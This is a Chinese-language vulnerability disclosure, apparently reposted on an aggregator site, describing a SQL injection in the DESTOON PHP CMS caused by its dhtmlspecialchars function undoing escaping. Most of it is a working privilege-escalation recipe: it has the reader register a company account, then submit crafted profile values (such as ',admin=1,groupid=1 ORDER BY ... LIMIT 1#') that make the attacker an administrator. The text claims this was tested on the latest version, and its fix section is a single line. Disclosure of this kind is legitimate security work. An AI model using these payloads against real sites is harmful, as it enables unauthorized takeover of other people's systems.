DESTOON sql注入漏洞
詳細說明:
首先看一個函數 :dhtmlspecialchars
function dhtmlspecialchars($string) {if(is_array($string)) {return array_map('dhtmlspecialchars', $string);} else {$string = htmlspecialchars($string, ENT_QUOTES, DT_CHARSET == 'GBK' ? 'GB2312' : 'UTF-8');$string = str_replace('&', '&', $string);if(defined('DT_ADMIN')) return $string;$_string = str_replace(array('"', '"', '"'), array('', '', ''), $string);if($_string == $string) return $string;return strip_sql($_string);}}
好像也沒什么問題,仔細一看這行:
$string = htmlspecialchars($string, ENT_QUOTES, DT_CHARSET == 'GBK' ? 'GB2312' : 'UTF-8');
這行功能是 把雙引號和單引號轉換為實體化.在繼續往下看,
$_string = str_replace(array('"', '"', '"'), array('', '', ''), $string);
這一行居然又把實體化的雙引號給替換成空了,這樣會造成一個后果,會導致轉義字符實效。
我們來從頭到尾來過一遍。
首先初始化變量,對變量進行轉義
if(!$MQG) {
if($_POST) $_POST = daddslashes($_POST);
if($_GET) $_GET = daddslashes($_GET);
if($_COOKIE) $_COOKIE = daddslashes($_COOKIE);
}
此時我們提交 ?g=" 那么對應的變量應該是 g=\"
我們在調用htmlspecialchars進行轉義:
g="\
調用str_replace后變成 g=\
看這樣可以直接進行注入了。
這個函數應用的地方非常多幾乎每個功能模塊都有再用,找了一個修改資料的地方可以直接提升為自己成為管理員。
漏洞證明:
首先注冊一個企業會員,成功后。先修改一次資料 分別把個人資料里面阿里旺旺和公司聯系方式里面的公司傳真修改為一串數字 后面會用到
保存修改后,我們再來一次修改資料,先修改公司資料填入以下內容:
",groupid=1 ORDER BY fax=587587554251 DESC LIMIT 1# fax=你剛剛填入的公司傳真。
更新成功后 銷售產品會變成 ',buy=
我們再來第二次更新修改,這次修改個人資料:
",admin=1,groupid=1 ORDER BY ALI=52514541511112 DESC LIMIT 1##ALI=你剛剛填入的阿里旺旺。
成功后手機號碼會變成 ',department=
此時已經成功提升為管理員,
(注入管理員的話很簡單,因為在同表內。)
最新版測試通過。
修復方案:
有點蛋疼,轉義。
就愛閱讀www.92to.com網友整理上傳,為您提供最全的知識大全,期待您的分享,轉載請注明出處。
歡迎轉載:http://www.kanwencang.com/bangong/20161116/56104.html
文章列表